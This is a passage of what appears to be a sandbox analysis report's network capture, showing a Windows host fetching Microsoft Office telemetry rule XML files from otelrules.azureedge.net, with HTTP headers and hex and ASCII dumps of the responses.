3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.9	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:14 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092014Z-185f5d8b95c9mqtvhC1NYCghtc00000009z000000000m9w6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.9	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:14 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092014Z-r1d97b9957789nh9hC1TEBxha800000008ug0000000049x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.9	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092015Z-r1d97b99577ndm4rhC1TEBf0ps00000008tg0000000053cr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.9	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092015Z-r1d97b99577mrt4rhC1TEBftkc00000008h0000000008dkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.9	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092015Z-1777c6cb7544nvmshC1TEBf7qc000000095g00000000aqmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.9	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092015Z-r1d97b99577n4dznhC1TEBc1qw00000008ng00000000ae8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.9	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092015Z-r1d97b99577ckpmjhC1TEBrzs000000008rg000000005d0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.9	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092015Z-r1d97b99577d6qrbhC1TEBux5s00000008tg000000005xc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.9	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:15 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092015Z-185f5d8b95cdtclvhC1NYC4rmc0000000a8000000000267q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:16 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.9	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092015Z-185f5d8b95cwtv72hC1NYC141w0000000a0g000000002xvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.9	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:15 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:16 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092016Z-185f5d8b95c4hl5whC1NYCeex00000000a0g000000002p2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:16 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.9	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:16 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:16 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092016Z-r1d97b99577hc74hhC1TEBvbns00000008g0000000008373 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
